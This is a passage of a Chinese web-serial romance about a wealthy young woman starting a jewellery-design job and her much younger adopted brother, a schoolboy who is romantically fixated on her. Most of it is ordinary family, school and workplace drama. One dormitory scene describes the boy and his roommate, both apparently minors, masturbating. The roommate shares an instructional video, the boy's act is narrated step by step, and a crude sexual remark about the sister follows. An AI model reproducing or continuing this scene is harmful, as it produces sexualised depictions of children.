沈知逸发来一张照片，书桌上放着两个海苔肉松饭团和一瓶纯牛奶。
黎娜：【你就吃这个？】
沈知逸：【这个饭团很好吃的，我已经吃过一个了。】
黎娜：【吃这个长不高。】
沈知逸：【牛奶是长高的。】
黎娜：【你手机里还有多少钱？】
沈知逸截了张余额照片发过去，还有一千多，每顿都吃饭团和牛奶的话，可以吃半个多月。
他已经很满足了。
黎娜却很心疼他只能啃饭团。
黎娜：【转账有金额限制，下午我带你去银行办张卡，以后生活费我会打到里面。】
沈知逸：【……谢谢姐姐。】
每次要黎娜花钱，他就会觉得自己很没用，但又不得不接受。
吃过午饭，黎娜回家带齐证件，开车去学校，快到的时候发信息叫沈知逸出来。
宿舍里，沈知逸一直抱着手机等消息，黎娜一发过来，他就夺门而出，一口气跑到学校门口，站在烈日底下看马路上来往的车辆。
树荫下，一辆黄色的玛莎拉蒂按了两下喇叭。
沈知逸看过去，透过挡风玻璃看到黎娜单手放在方向盘上，露出一双深邃的眼睛，正直直地看着他，不带情绪，显得有些冷淡。
沈知逸上车，坐到后面。
黎娜回头看他一眼：“热吧？”
沈知逸下意识摇头：“不热。”
他额头上的汗水流下来，划过太阳穴，慢慢蒸发干净，留下一片凉意。
都热成什么样了，还说不热。
黎娜忍俊不禁，拿起一袋湿纸巾递向后面。
她手腕内侧白皙，青筋纤细明显。沈知逸借着接东西，手指快速在她的手腕触碰了一下。
温凉细腻的触感，似乎带着细小的电流，顺着手指钻进身体里，心脏急剧收缩跳动，从脚底升起一阵痒意。
黎娜收回手，放到方向盘上，导航到最近的银行。
沈知逸坐在后面，摸过黎娜的那根手指翘起来，他盯着看了很久，然后用这根手指摸了摸嘴唇，伸出舌尖舔了舔。
意识到自己在做什么，忽然变得手足无措起来，很害怕被黎娜发现，他偷偷抬眸看向黎娜。
黎娜正在认真看路。
沈知逸这才松了口气。
到银行，黎娜带着证件找柜台小姐办卡，沈知逸寸步不离地跟在她屁股后面。
看着她能听懂柜台小姐说的每一句话，知道什么事情该怎么办，帮他把所有绑定服务都处理好，沈知逸就觉得，他的姐姐真的特别厉害，什么都会弄，这个世界上就没有姐姐做不到的事情。
黎娜在卡里转了十万，没有转太多，也是怕养成沈知逸奢侈无度的花钱习惯，还是要稍微控制着点的。
她把银行卡递给沈知逸。
“以后你就有自己的小金库啦。”
沈知逸双手接过，低头看着手里的银行卡，眸色认真。
“我以后要挣很多钱给姐姐花。”
黎娜一顿，笑出声：“那可不行，你将来的女朋友会生气的。”
不是第一次听到黎娜说这种话了，沈知逸再次重复：“我不会交女朋友的。”
黎娜挑眉：“你怎么确定你不会？”
这孩子不会是喜欢男孩儿吧，黎娜被自己的想法吓了一跳，随即又想现在这都什么年代了，就算他喜欢男孩，她也会举双手双脚支持的。
黎娜垂下眸子，发现沈知逸正抬头看着她，那双清澈的眼睛里充满了不符合他年龄的坚定和执拗，看上去很倔强，大有一副不撞南墙不回头的架势。
他直视她的眼睛：“就是不会。”
黎娜莫名想要避开他的视线：“那种事情等你长大再说吧。”
能看出她还是不信，沈知逸有些焦躁，一时间口不择言。
“我真的不会交女朋友，姐姐能等我长大吗？”
话一出口，沈知逸就后悔到想死。
他不敢看黎娜，迅速低下头，用力抠手指。
黎娜一顿，眉头皱起：“等你长大？什么意思？”
沈知逸不说话，手指被抠到流血。
黎娜忽然有种不祥的预感，冷声追问：“沈知逸，你在说什么？”
她语气是前所未有的严厉，在用长辈的身份向他施加压迫感。
沈知逸眼眶发热，情绪如决堤洪水快要收不住了，他可以再往前迈一步吗，告诉姐姐，能不能等他长大，先不要跟别人在一起。
他会用最快的速度长大的，能不能……稍微等一等他。
他在心里说了无数遍，但在黎娜面前连一个字音都发不出来。
他不敢，因为他在黎娜眼里就是个小孩，说这种话绝对会被黎娜讨厌的，说不定还会觉得他很恶心，到底该怎么办才好。
他的沉默，让黎娜心里越发不安。
“沈知逸，说话！”
血珠顺着指尖滚落到地上，沈知逸把流血的手指藏起来，轻轻地吸了口气，压住心里动荡的情绪。
“我想让你等我长大之后，再交男朋友。”
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>黎娜问：“为什么？”
沈知逸心跳恢复到正常频率。
“因为……我怕你有了男朋友以后，就不管我了。”
黎娜愣住，松了口气，脸色缓和了一些，想伸手摸摸这个很没有安全感的小孩，但刚才心里的疑虑还未彻底消散，让她伸不出去手。
“你是我弟弟，我怎么会不管你。”
沈知逸“嗯”了一声，抬头望着她，眼睛湿漉漉的仿佛下过雨，模样一如往常般乖巧。
黎娜暗道自己多心了，一个跟她相差十一岁的小男孩，怎么可能会对她有那种心思呢。
她在沈知逸眼里，应该是个老得不能再老的老女人了。
她说：“就算以后可能我结婚了，不能跟你住在一起了，你也可以住在学校里，要是想回家，有很多房子，我给你一套住着，再给你找两个阿姨，你完全可以一个人生活，不用担心没有我就生活不下去。”
这个孩子还是太依赖她了。
黎娜语重心长地说：“在这个世界上，没有人能陪你一辈子。”
沈知逸心如刀割，笑着点头。
“嗯，姐姐，我知道了。”
回学校之前，黎娜去会员超市买了一些进口零食，递给车后座的沈知逸。
“跟你的舍友吃。”
沈知逸说：“好。”
黎娜问：“你舍友怎么样，好相处吗？”
沈知逸沉默几秒：“你应该还记得我舍友……”
黎娜：“我记得？我之前见过你舍友？”
沈知逸点头：“就是之前在福利院的那个男生，差点被你们领养走的。”
黎娜回忆了一会，眉心微皱：“哦，是他啊，他怎么也会来这个学校，他欺负你没有？”
沈知逸说：“目前还没有。”
黎娜：“要是学校里有人欺负你，一定要跟我说，知道吗？”
沈知逸：“知道了，姐姐。”
送沈知逸回学校，黎娜在车里坐了一会，给黎父发信息：
【我要去公司上班。】
黎父：【好，把你培养出来，我就能退休了。】
黎娜：【想得美，你退休了，你的儿子让我养？】
黎父：【嗯，你有两个弟弟了，以后让两个弟弟宠你。】
黎娜：【是来花我的钱吧。】
黎父：【你没钱花了？】
黎娜那个“有”字还没有发过去，手机顶端就跳出来一条消息，显示到账八百八十万，那个卡号正是黎父的。
黎娜：【谢谢爸爸～】
黎父发来一个摸摸头的表情包。
黎娜趴在方向盘上笑个不停。
到晚上，沈知逸戴着耳机去操场跑步。除了他，还有很多人在跑，男的女的都有，也戴着耳机。
隔壁篮球场上有男生在打球，还有几个黄头发的，看长相像外国人。
沈知逸跑完一千米，身上的衣服都湿透了，汗水顺着额角往下淌，被他发热发烫的脸颊蒸发干净，他舔了舔干燥的嘴唇，有一股咸味。
网上说，运动有助于长高。
沈知逸边喝水边往宿舍楼走，路过篮球场，一个篮球飞到他前面，在他脚尖上不轻不重地砸了一下。
他抬眸，看到陈研笑着朝他招手。
“沈知逸，过来打篮球！”
25. 仰望神明
沈知逸捡起地上的篮球，走进篮球场到陈研面前，把篮球递给他。
“我不会打篮球。”
陈研单手接过来，轻轻把篮球往上一抛，球落下来被他用食指顶住转圈，他毫不费力地保持住平衡，对这项需要技巧的运动游刃有余。
“打几次就会了，一起玩吧。”
陈研再次发出邀请。
其他男孩也看向沈知逸。
“对啊，我刚开始也不会，跟着打几次就会了。”
“特别简单，运球投球就行了。”
“一打就会，不打永远都不会。”
事实上，沈知逸对篮球有点兴趣，但因为怕自己不会耽误了他们打篮球，所以没有加入他们。不过现在看他们好像完全不在意的样子，沈知逸就没有了这个顾虑。
他说：“那我打几局。”
沈知逸加入了他们。
这些男孩说的好听，等上了球场谁都不让着谁，还专挑软柿子捏，敌方队伍甚至胆大到叫沈知逸传球给他，吓得陈研赶紧大吼：“不能传给对方队伍，传给我！”
沈知逸立刻换了个方向，将篮球投给陈研。
陈研被对方队伍包围，他做了几个运球投篮的假动作一阵迷惑对方，趁他们恼羞成怒，迅速后退一步，从地上跳起来，越过那些高高举起的手，将篮球抛向前面。
所有人的目光都追着那个篮球，直到球沿着球框转了一圈，掉进框里，落到地上弹跳几下。
陈研的队伍发出一阵欢呼。
“进球了进球了！”
“我们赢了！”
“陈研这球漂亮啊！”
陈研捡起篮球，放在食指上转圈，颇有一种“不以物喜”的风范。
沈知逸站在一边，看着被众人簇拥的陈研。
确实比他优秀，成绩比他好，篮球打得好，同样是第一天来学校，却交到了那么多朋友。
如果让姐姐再选一次，姐姐肯定会选择陈研，而不是选择他吧。
陈研视线越过人群，看向角落里的沈知逸：“再来一局？”
沈知逸点头。
经过刚才那一局，沈知逸已经有点感觉了，而且在整个过程中，陈研不会离他太远，告诉他什么时候该做什么事，如何掌控全场节奏，和队友配合，搞崩敌人心态。
沈知逸渐入佳境，运球越发熟练，在被敌方包围的时候，他学陈研起跳做出投球的欺骗动作，趁敌方跳起来伸手挡，他已经抱着球转身投给了陈研。
陈研看到球朝自己飞过来，有一瞬懵逼，然后迅速举手接球。
这局又稳了，队友们心想。
结果陈研运了会球，又把球投给了沈知逸：“这次你来投球！”
沈知逸毫无防备，手忙脚乱地接住球，被敌方虎视眈眈地盯着，有些手足无措。
“我没投过，我投不进去！”
陈研双手叉腰，大汗淋漓。
“你能投进去！”
沈知逸：“我从来没有投过，你投，你投完就赢了！”
陈研：“沈知逸，你能投进去！”
沈知逸：“我真的投不进去！”
陈研：“你没投，怎么知道自己投不进去！”
沈知逸：“我没投，你怎么知道我能投进去！”
陈研：“……”
队友：“……”
敌方：“……”
还有完没完了。
敌方捶胸怒吼：“你俩到底谁投啊，能不能来个痛快的？！热死了！打完这局我要回宿舍洗澡了！”
陈研用下巴指了指球框，让沈知逸快投球。
沈知逸被敌方队伍包围起来，他之前营养不良发育缓慢，比同龄人要矮得很多，他现在的目标就只有球框，一旦投出去，面前这些人绝对会跳起来拦住。
沈知逸吼道：“陈研！还是你来吧！”
他转身抛向陈研。
敌方一窝蜂似的跑向陈研。
陈研却没有伸手接球，他看着涌到自己面前的这些人，意味不明地笑了一下，伸手指了指沈知逸的方向。
敌方回头，只见那个篮球还在沈知逸手里，原来他只是吼了一嗓子，实际上并没有把球抛出去，而是做了个投球假动作，造成了他们的误判。
沈知逸把球框当做陈研的手，其实投篮就像他们之前传球一样，只不过这次高了一点，他找准方向，用力往前一抛。
时间变慢，篮球在空中的运动轨迹清晰可见，所有人的心脏都提到了嗓子眼，死盯着那个篮球。
篮球进框，搅紧布网，似被布网束缚又挣脱出来，掉到地上滚向一边。
沈知逸瞪大双眼，不可置信。
陈研微微一笑。
球场瞬间沸腾。
队友跟陈研勾肩搭背。
“可以啊，陈研，你临时拉过来的这个人是谁呀，第一次就进球了？”
陈研瞥了眼沈知逸。
沈知逸也看着他。
他说：“沈知逸，我朋友。”
晚上熄灯后，沈知逸侧躺着，面朝陈研的方向，轻声开口：“陈研，你睡了吗？”
陈研翻了个身：“你要是把嘴巴闭上，我就睡着了。”
沈知逸“哦”了一声，又问：“你为什么要当我朋友？”
陈研连一秒钟的思考都没有：“因为你有钱，我应该跟有钱人保持良好关系。”
是这样吗？
沈知逸把脸埋进被子里，没吭声。
心里还是有点失落的。
黎娜在国外学的视觉传达设计，期间做过模特，在进入公司后，有三个符合她专业和经历的部门，分别是时尚部，美妆香水部和珠宝腕表部。
她选择了珠宝腕表部，主要负责珠宝设计，上面只有一位设计总监，名叫辛西娅。
辛西娅出生于英国，曾经是非常有名的珠宝设计师，国内外很多时尚杂志刊登过她的作品，至今仍有几件作品摆在公司总部供贵宾观赏。
黎娜第一天去公司，辛西娅戴着黑墨镜，穿着黑西装黑皮鞋，短发整齐和下巴在同一高度，唇线平直，嘴角和鼻翼附近有些下垂的皱纹，看上去四十多岁了，这个年纪的女人最凶了。
见黎娜来了，辛西娅没有摘下墨镜，也没有站着迎接黎娜这位空降兵，而是翻看她的简历，有些意兴阑珊的样子。
“珠宝设计是对专业技能要求非常高的职业，我看你大学专业学的
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不是这个，而且也没有相关的工作经验，为什么想来到这个部门？”
辛西娅放下简历，双手环胸，抬眸看向黎娜，无形中施压。
黎娜微笑：“因为在这个公司里，除了珠宝腕表部门，其它的我都没有兴趣。”
辛西娅皱眉，唇角弧度越发冷漠，显然对她的这个回答很不满意。
“你是黎董的女儿？”
黎娜腰板挺直，但并不高傲，不卑不亢地回答：“对，是我。”
辛西娅拉开抽屉，从里面拿出一套饰品，有耳钉，手链和项链，放到办公桌上。
“关于珠宝设计师这个岗位，我已经有了非常满意的人选，这是她面试带来的作品。”
言下之意，你的作品呢？
黎娜笑容不变：“这些设计非常具有时尚感，不能从事珠宝设计师这个岗位真的太遗憾了，公司不可能放走这么优秀的人才吧？”
辛西娅：“她被调到了美妆香水部。”
黎娜捡起桌上的戒指，戴到自己手指上，放到眼前打量着。
“那这样就没什么好说的了，公司都已经分配好了，就算你不满意我，也请你去试着相信我。”
辛西娅往后坐靠到椅背上，藏在墨镜里的眼睛打量着她。
“你是从小养尊处优的大小姐，受不了这个苦，最好不要浪费我们的时间。”
黎娜透过那两片墨镜，隐约看到她的眼睛，死死地盯住，嘴角笑容温柔。
“那当然，我是来上班的。”
然而……现实很骨感。
黎娜以为珠宝设计，就是画图交给时尚总监就行了。
没想到辛西娅将她带进材料室，让她去了解各种宝石和贵金属，还有手工镶嵌。
于是她这一整个上午都在打铁，期间被火苗烧到皮肤，被铁锤敲到手指，精致的美甲被磨到不成样子。
镶嵌就更令人崩溃了，要屏住呼吸镶嵌每一颗宝石，一不小心就会损坏石头，要是手滑了，凿子就直接戳进肉里，非常危险。
到了中午，黎娜紧绷的神经终于松懈下来，去公司楼下的餐厅吃饭。
她把双手平摊在餐桌上，黑乎乎的，洗都洗不干净，指甲被磨得残缺不齐，连倒刺都出来了，皮肤特别粗糙。
服务员端盘子上来，她就把手藏到桌子下面，不好意思露出来。
指甲缝里都是黑色的金属粉末，握在叉子上，黎娜的目光总被吸引过去，心里一阵膈应，她再也无法忍受，站起身来，朝卫生间走去。
路上，迎面走过来一个西装革履的男人，头发三七分，五官立体，皮肤比一般男人要白，眉眼温柔，气质极好。
黎娜多看他一眼，觉得这男人有些熟悉，但是一时间想不起来。
男人感应到黎娜的目光，也朝她看过来。
黎娜已经不动声色地收回视线。
擦肩而过时，男人一顿，侧脸棱角分明，试探性喊住黎娜。
“你……是不是黎娜？”
黎娜也停下来，这次可以光明正大地看他了。
她想起这个男人是谁，笑着打招呼：“秦学长好。”
秦钰一愣，忍俊不禁：“真荣幸，你还记得我。”
26. 仰望神明
说到秦钰，黎娜已经没什么印象了，只记得高中的时候他是吉他社的，学校组织了一场音乐舞蹈比赛，她因为优越的外形条件被抓去参加，秦钰就负责她们这一组的背景音乐，在一起训练了一段时间。
其实黎娜有偷偷暗恋过他，但她对人对事都是三分钟热度，后来又看到别的男生，就移情别恋了，她对男生的喜欢从来没有超过一个星期的，很容易变心。
这一晃都六七年过去了，再看到秦钰，她竟然都没认出来。
黎娜礼貌问候：“你也来这里吃午饭？”
秦钰温柔回应：“嗯，要不要一起吃？”
黎娜愣住，险些没压住上扬的嘴角。
“那就一起吧。”
她转过身去，立刻变脸，没发出一丝声音狂笑两秒，等秦钰坐到她对面，看向她的时候，她一如往常般面无表情。
好多年没见，黎娜不知道该说什么。幸好有服务员上来给秦钰点菜，才没有让气氛陷入尴尬。
秦钰点了牛排，蔬菜沙拉和胡萝卜汁。
黎娜诧异：“不吃主食吗？”
秦钰说：“吃主食下午会犯困。”
黎娜“哦”一声，看着自己满是污垢的指甲，默默调整角度，让秦钰看不见。
秦钰从她细微的小动作上收回目光：“你现在是舞蹈家了吧？”
黎娜差点喷饭：“我早就不跳舞了，打拳击倒是还可以……”
秦钰很惊讶：“那你现在是拳击手？”
黎娜摇头：“不是，之前去国外上学当过模特，现在在我爸公司混吃等死。”
秦钰笑得肩膀发颤。
黎娜很郁闷：“你还在弹吉他吗？”
“我也在我爸公司上班，只能没事的时候弹。”
服务员上菜，秦钰说了声“谢谢”，又看向黎娜。
“你要是想听，下次见面我可以把吉他背过来。”
黎娜一愣：“下次见面？”
秦钰说：“我今天是去你们公司签合同的，以后珠宝部门的宝石，由我来供应。”
黎娜倒吸口气，回忆起秦钰家里是做宝石供应的，国内奢侈品牌的珠宝几乎都由他们公司供货。
她问：“你怎么知道我上班的公司？”
秦钰瞥了眼她的手指，不紧不慢地喝了口胡萝卜汁。
“我对你还是很了解的。”
黎娜嘴角又开始不受控制了，赶紧让自己想想设计总监那个老登，一下子就笑不出来了，开始琢磨这句话。
放在桌上的手机亮了，黎娜看到沈知逸发来一张图片，又发来一条消息。
沈知逸：【你能从图片里看到什么？】
黎娜点开图片，是学校的天空，上面有几片白云，除此之外什么都没有。
黎娜：【有什么？】
沈知逸过了很久才回复，还是那张天空图片，但多了很多线条框住那几片白云，原来白云是小狗的形状。
黎娜笑了，把午饭拍下来发给沈知逸。
黎娜：【你吃午饭了没有？】
沈知逸：【吃了。】
黎娜：【吃的什么？】
沈知逸：【糖醋排骨饭。】
秦钰放下叉子，看向一直拿着手机的黎娜，笑了一下。
“在给男朋友发消息？”
黎娜低头看手机屏幕：“我没男朋友，我在给我弟弟发。”
宿舍内。
黎娜没有再发消息过来。
沈知逸还在看黎娜发来的那张图片，不是看吃的，而是看最上面那两只手，握着刀叉，手很大，手背上青筋明显，骨骼分明，绝对不是女人的手。
姐姐在跟男人吃饭。
那个男人是谁，是姐姐的朋友吗，为什么姐姐要跟这个男人吃饭……
沈知逸放下手机，如坠冰窖，再一次陷入绝望。
陈研对他这样已经见怪不怪了，提议道：“要不要去打篮球？”
沈知逸用最后一丝力气发出声音：“不去……”
他说完猛地坐起来，拿起手机给黎娜发消息。
沈知逸：【姐姐在跟别人吃饭吗？我看你对面坐着人……】
黎娜：【是哦。】
沈知逸：【男的还是女的？】
黎娜：【男的，我以前的学长。】
沈知逸要哭了。
黎娜：【我感觉他对我有意思，嗐，都怪姐太有魅力了。】
黎娜：【偷偷告诉你，我以前上学的时候还喜欢过他，他现在比上学的时候帅多了！】
看到黎娜发来“喜欢”和“帅”这几个字，沈知逸瞳仁震颤，手指发抖在屏幕上疯狂打字。
沈知逸：【姐姐，你是不是喜欢他？】
黎娜：【不喜欢也不讨厌，就是觉得自己特别有魅力，很开心～】
沈知逸放下手机，看着窗外发呆。
陈研端着杯水，过来查看他的“尸体”。
“你姐姐跟野男人跑了？”
“尸体”点头。
陈研喝了点水，老生常谈的样子：“你这样不行，你姐姐迟早得把你忘了，你要在她面前多刷点存在感。”
沈知逸眼睛暗淡下去：“我都不能出学校，我要怎么到她面前刷存在感？”
陈研说：“发朋友圈。”
沈知逸：“……”
陈研放下水杯：“要不要出去打篮球，我给你拍张特别帅的照片，你发朋友圈，你姐姐肯定喜欢看。”
姐姐肯定喜欢……
沈知逸眼睛一亮，斗志昂扬：“好，我们去打球，你要给我拍照片。”
陈研露出计谋得逞的微笑，终于把沈知逸骗出去跟他打球了。
到篮球场，陈研说：“投篮的时候最帅了，你看我们每次投篮成功，围观的女生都会尖叫……”
于是，沈知逸就疯狂练习投篮。
陈研站在一旁看他。
“这个不行，不够帅，脸都扭曲了。”
“这个球跑歪了，没进框。”
“你怎么越练越烂，球都飞哪儿去了，快去捡球！”
“沈知逸，你打得这么烂，你姐姐绝对不会喜欢你的！”
捡球回来的沈知逸，听到“姐姐”这两个字，吓得迅速朝他跳过去，用手捂住他的嘴，紧张地四处张望，小声提醒他。
“你别喊那么大声，别人会听到的……”
陈研拽掉他的手，很嫌弃地丢到一边，对今天的训练还算满意，再来几天，下次打篮球就能让沈知逸投篮了，这样他压力也就小了。
沈知逸说：“我现在这样够帅了，你快点给我拍照片。”
“行。”
陈研拿出手机，特别专业地找角度，还蹲下来，尽量把沈知逸的腿拍长点。
沈知逸运球投篮。
陈研狂按拍摄键，拍了一连串照片下来，找了个阴凉地方和沈知逸挑选。
最后选了那张沈知逸在半空中投篮的照片，姿势很帅，阳光也好，整个人背着光，稍微露出侧脸，滴落的汗水被镜头捕捉，扑面而来的青春气息。
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沈知逸编辑朋友圈，在文案部分愣住了，不知道要发什么字，陈研直接给他输入几个篮球图案，点击发表。
陈研说：“好了，等着吧。”
沈知逸问：“就等着？等什么？”
陈研无语拍头：“等你姐姐点赞评论。”
沈知逸“哦”了一声，盯着手机，路都不看了，事也不干了。
陈研：“……”
回到公司，黎娜去材料室继续打铁。
秦钰去找设计总监了，刚才还要加她的微信，扫完码才发现原来之前已经加过好友了，都在对方的列表里躺着，谁都没有说过话，也没发过朋友圈，慢慢的就忘记了对方的存在。
从秦钰空白的朋友圈里退出来，黎娜看到朋友圈上面有个小红点，沈知逸的头像出现在那里，是个可爱的动漫小狗。
她点进去，看到一张照片，是一个男生投篮，肩背手臂连成一条流畅的弧线，篮球进框，男生背对着阳光，脸看不清楚，不过那个小卷毛黎娜一眼就能认出来，是沈知逸。
这条朋友圈有黎父的点赞和评论。
黎父：【会打篮球了，很棒[强][强][强]】
沈知逸：【谢谢叔叔。】
黎娜看朋友圈都是一刷而过，没有点赞和评论的习惯。
她保存了沈知逸打篮球的照片，就退出朋友圈了。
当天晚上，沈知逸蜷缩在被窝里，露出半个脑袋，盯着手机一动不动，小脸被屏幕灯光照得发白。
陈研躺在床上，看着天花板，身上的被子起起落落，肩膀有些细小的浮动，越来越快，他呼吸粗重，忽然沉沉地吐出一口气，从床头柜抽了几张卫生纸伸进被子里擦拭，用完的纸随意丢进垃圾桶里。
“我姐姐没有给我点赞，也没有给我评论。”
“她是不是没看到，她现在应该睡觉了吧……”
陈研闭上眼睛装睡。
沈知逸忽然从床上坐起来，身上的被子滑落下去。他在黑暗中面朝着陈研的方向，用鼻子嗅了嗅，闻到一丝很难被察觉到的腥味。
“陈研，你又奖励自己了？”
陈研：“……”
“真的很舒服吗？”
陈研：“……”
沈知逸钻回被窝里，关上手机放到枕头旁边，身体蜷缩起来，水润的眼睛在黑暗中透出光亮。
“你是怎么弄的？”
他将脸埋进被子里，脸微红。
陈研睁开眼睛，拿起手机一阵操作，之后用力把手机拍到床头柜上。
“视频发给你了，自己学，别再烦我了！”
沈知逸拿起手机：“谢谢。”
他点开陈研发的视频。
陈研吼道：“戴上耳机！”
沈知逸立刻找出耳机戴好，认真地看视频，学着里面的人，手伸进被子里解开裤绳，手握上去，上下动，慢慢加快速度，有一种前所未有的感觉，在某个节点慢慢攀上巅峰，他浑身发抖，呼吸粗乱。
“爽到了？”
陈研的声音在黑暗中突然响起，吓了沈知逸一跳。
沈知逸轻轻地“嗯”了一声。
陈研说：“用你姐姐的，可比你用手爽多了。”
沈知逸瞪大眼睛，不可置信：“用姐姐的……”
陈研冷嗤道：“你现在还不行，你太小了，不能让你姐姐爽的，肯定会被嫌弃的。”
沈知逸自卑极了，闷声闷气地嘟囔着。
“会长大的，不会一直这么小的……”
27. 仰望神明
了解完金属材质和制作工艺，黎娜进入到下一阶段，开始设计珠宝，准备今年的秋季上新。
她有绘画功底，整个过程对于她来说不算艰难，而且之前在国外时尚圈混，对一些热点元素都极为敏感。
她火速打好草稿，传到电脑上，标注好需要用到的宝石和贵金属，发到辛西娅的邮箱，给自己冲了一杯咖啡提神。
电脑传来消息提示音。
黎娜端着咖啡飞奔过去。
不是辛西娅回复了，是秦钰发来一张图片，里面有各种颜色和花纹的领带，黎娜眼睛都要看花了。
秦钰：【我看你很会搭配衣服，所以想问问你，哪条领带更适合我。】
黎娜看向那些领带，眼珠一转，笑得不怀好意。
黎娜：【粉色的那条好看。】
粉色领带是少女粉，上面排列着红色的品牌logo，很可爱，像秦钰这个男人绝对不会选的。
没错，她就是在耍他玩。
她关掉跟秦钰的对话框，打开上传的那几张设计稿，怎么看怎么好看，她果然是个设计天才！
秦钰又发来一张图片，黎娜点开。
这次的图片是男人单手拎着纸质购物袋，上面有烫金的品牌logo。
秦钰：【买了，谢谢你帮我挑选，我很喜欢。】
黎娜：【……不客气。】
秦钰：【下次戴给你看。】
黎娜：【……】
她不能想象秦钰戴上这个粉色领带是什么样的。
桌面最下方的邮箱符号开始闪动，这次是辛西娅。
黎娜双击点开，看到辛西娅的回复。
辛西娅：【圈出来的那款可以实现，剩下的需要换材质或者重新设计。】
黎娜：【材质有问题？】
辛西娅：【白贝母做不出你那种尖锐的效果，会断掉。】
辛西娅：【我给你五次机会，五次之内交不出合适的设计稿，你就去材料室打铁。】
黎娜仰头望天，无语凝噎。
学校内。
沈知逸在教室里上音乐课。
这里的学生人手一台笔记本电脑或者是平板，上课直接将老师讲的内容输入到电脑里，很方便，不会写字写到手指变形，保存好也不会弄丢。
这种教学方式就全靠学生自觉了，沈知逸显然不是自觉的人。
他看到黎娜新发了一条朋友圈，是一块蓝色手表，款式简约，戴在她纤细白皙的手腕上。
沈知逸保存图片，去网购软件扫图搜索，出来的都是几百几千块钱的手表，他直接把价格调到最高，也不过才十几万。
一块十几万表，黎娜是不可能发朋友圈的。
沈知逸又去社交网站搜索，终于找到了，是百达翡丽的鹦鹉螺系列，全球仅有170块，是在品牌170周年发表的，已经停产，非常具有纪念意义，价格也是令人瞠目结舌。
沈知逸数到最后一个零，倒吸一口冷气，这么小的饰品，售价竟然高达四千多万。
他忽然感到巨大的压力。
很害怕自己将来养不起姐姐，让姐姐跟着他吃苦。
朋友圈下面有黎娜的评论：【不错嘛，上个世纪的老古董了，年纪比我爸都大，好好留着吧，无价之宝。】
能看出来她是在回复别人的评论，但沈知逸没有加那个人好友，所以并不知道她回复的是谁。
“沈知逸，你上来弹这首曲子。”
老师站在讲台上喊他的名字。
沈知逸站起身来，走到讲台上，旁边有一架钢琴。
他不紧不慢地坐下来，看着面前的乐谱，手指落到琴键，灵活有力，正确触发每一个音符，缓慢如细水长流，高/潮如惊涛骇浪，整个教室寂静无声，只剩下钢琴的声音。
老师闭上眼睛，仔细感受旋律，满意地点了点头。
弹完一曲，沈知逸放下手指，站起身来，看向老师。
老师评价：“你有天赋，但上课要认真听讲，就算是天才，也要付出99%的汗水。”
课堂走神被发现，沈知逸低下脑袋，一副做错事的愧疚样子。
老师问：“你叫什么名字？”
“沈知逸。”
“好的，沈知逸。”
老师把他的名字写到了一张纸上，夹进音乐课本里。
这是受老师重视的体现。
沈知逸受宠若惊，一整节音乐课都不敢走神了，听得特别认真。
老师每次抛出问题，向下环视一圈，不知道找谁回答，就会喊沈知逸的名字。他每次都能回答上来。
最后一节音乐课结束，沈知逸在回宿舍的路上，收到了黎娜发来的信息。
黎娜：【这个星期你留宿吗？】
沈知逸：【我要回家。】
黎娜：【好，那我下班过来接你，六点钟左右到，你收拾好东西。】
沈知逸：【你去上班了吗？上的什么班？】
黎娜没有回复。
最后一条信息停留到沈知逸这里，戛然而止了。
沈知逸从头到尾翻了一遍他们的聊天记录，慢慢释怀了。
姐姐工作了，会很忙，没有那么多时间照顾他的。
他要照顾好自己，不能给姐姐添麻烦，不能变成姐姐的累赘。
黎娜说的是六点钟左右，沈知逸在五点四十分就去学校门口等了，怕黎娜来得太早等他。
结果黎娜六点半才过来，沈知逸就一直站在学校门口，动都不动，这里树多，他胳膊和腿上被蚊子咬了好多大包，特别痒。
刚开始他都没认出黎娜的车，直到黎娜按了两下喇叭，他才发现黎娜。
和上次的车又不一样，沈知逸甚至记不得她有多少辆车，她开车能几个星期不带重样的。
沈知逸猫着腰钻进车里，坐到后面靠近车门，看着窗外面。
黎娜起步汇入主流，被辛西娅折磨了一个星期，她脑袋里现在都是空白的，手指又脏又痛，说实话有点想放弃了，她又不是没钱花，干嘛吃饱了撑的非要去找罪受。
沈知逸安安静静的没有说话，过了很久黎娜的注意力才回到他身上。
“你几点到学校门口等我的？”
她突然出声，沈知逸心脏重重地跳了两下，撞击着他的胸膛，他一时间竟发不出声音，过了几秒钟紧绷的喉咙才松懈下来。
“六点多。”
其实他五点四十分就在等了。
但他不想让黎娜知道。
黎娜点头：“那还好。”
一路无言。
黎娜很疲惫不想说话。
沈知逸察觉到她不想跟自己说话，也一直没有再开口。
汽车停到米其林餐厅门口。
黎娜叫沈知逸先下车，进餐厅点菜，她去停车。
沈知逸问：“不回家吃饭吗？”
黎娜说：“家里没人，营养师回老家了
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。”
沈知逸“哦”了一声，还是更喜欢在家里吃饭，有种安心的感觉。
沈知逸背着书包走进餐厅，立刻有服务员迎上来，带他去楼上空座位。
面前有几分菜单，如同精心制作而成的方案，被他拿在手里，他手心冒汗，总会想起那条潮湿肮脏的小巷子。
原来他还是下水道里的老鼠，对一些美好的东西都心存畏惧。
最便宜的菜五百多，最贵的一千多，分量就只有一点点，两个人不容易吃饱，所以会点很多，沈知逸预估了一下，差不多要花七八千。
服务员一直在他介绍食材。
沈知逸将菜单推走，笑容有些苍白：“等我姐姐来点吧。”
黎娜停完车上来，见餐桌上什么都没有，问沈知逸：“你怎么还没点？”
沈知逸垂下眸子：“想等你来。”
黎娜落座：“等我干什么，你肚子不饿？”
沈知逸没吭声。
黎娜迅速点完，叫服务员快点上菜。
她拿出手机，有消息进来。
秦钰：【你下班了吧，要不要一起吃晚饭，我不想一个人。】
黎娜拍了张餐厅照片给他。
黎娜：【改天吧。】
秦钰：【你在哪个餐厅？】
黎娜发了个位置给他。
秦钰：【介意我过去吗，我正好在附近，五分钟到。】
黎娜：【不介意，自己吃的自己付钱。】
秦钰：【小气鬼。】
秦钰：【我请你。】
黎娜：【好的，谢谢你。】
她关上手机，把服务员叫回来，又点了几道菜。
沈知逸在心里计算，估计今晚这顿饭要破万了。
四分钟后，前菜上桌，秦钰也到了。
黎娜朝他招手。
沈知逸视线跟过去，看到秦钰的瞬间，他整个人僵在了座位上，呼吸凝滞。
等走近了，秦钰脖子上的那条少女粉领带赫然出现在眼前。
黎娜扶额，他竟然真戴了！
秦钰走过来，看到黎娜对面坐着一个小男生，正死死地盯着他，眼睛都不眨，很震惊，又有点破碎。
“这是谁？”秦钰问。
沈知逸收回目光，睫毛垂下来盖住眼睛，静待黎娜回答。
黎娜说：“我弟弟。”
秦钰坐到沈知逸旁边。
沈知逸往旁边挪了点椅子。
秦钰发现他的小动作，心里有些异样。
“你还有弟弟？”
黎娜懒得解释：“对啊。”
